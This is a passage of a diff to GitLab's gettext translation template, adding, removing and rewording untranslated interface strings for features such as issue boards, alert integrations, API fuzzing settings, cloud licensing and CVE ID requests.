msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1297,6 +1311,9 @@ msgstr[4] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1398,6 +1415,14 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1430,6 +1455,22 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1446,6 +1487,14 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1486,6 +1535,22 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1603,9 +1668,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1615,13 +1677,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1696,9 +1755,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1717,13 +1773,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1735,6 +1803,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1747,16 +1818,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
+msgstr ""
+
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1765,16 +1839,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1807,9 +1881,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1987,6 +2058,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -2017,14 +2091,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -2070,6 +2136,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -2145,6 +2214,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2172,9 +2244,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2202,6 +2271,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2220,6 +2292,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2313,6 +2388,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2340,6 +2418,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2481,9 +2562,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2919,6 +2997,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2969,6 +3053,9 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3131,6 +3218,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -3146,13 +3239,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -3161,25 +3257,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -3194,24 +3293,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3221,6 +3332,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3230,9 +3344,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3269,7 +3380,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3359,9 +3473,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3425,6 +3536,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3452,6 +3566,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3509,6 +3626,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3632,6 +3752,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3644,9 +3767,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3737,7 +3857,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3875,9 +3995,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -4079,6 +4196,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -4114,6 +4234,9 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -4123,6 +4246,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -4132,9 +4258,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4275,6 +4398,12 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4335,6 +4464,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4377,13 +4512,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4816,6 +4951,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4918,6 +5056,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4936,6 +5077,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4960,7 +5104,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -5097,6 +5241,9 @@ msgstr[4] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -5127,6 +5274,14 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5136,9 +5291,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5157,6 +5309,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -5166,6 +5321,14 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "Boards|Board"
msgstr ""
@@ -5178,6 +5341,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -5208,6 +5380,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5514,15 +5689,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5541,6 +5707,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5633,6 +5805,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5729,6 +5922,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5849,6 +6045,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5876,6 +6075,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5885,12 +6087,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6533,6 +6741,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6566,6 +6777,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6599,9 +6852,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6620,12 +6870,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -7175,6 +7434,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7885,6 +8147,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7948,6 +8213,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8233,6 +8501,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8267,9 +8538,6 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8354,6 +8622,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8372,6 +8643,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8440,6 +8714,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8662,6 +8939,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8707,9 +8987,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8767,9 +9044,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8824,12 +9110,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8863,6 +9158,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8872,20 +9170,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -9030,9 +9323,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -9054,6 +9344,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -9207,6 +9500,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9270,6 +9566,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9575,8 +9874,13 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
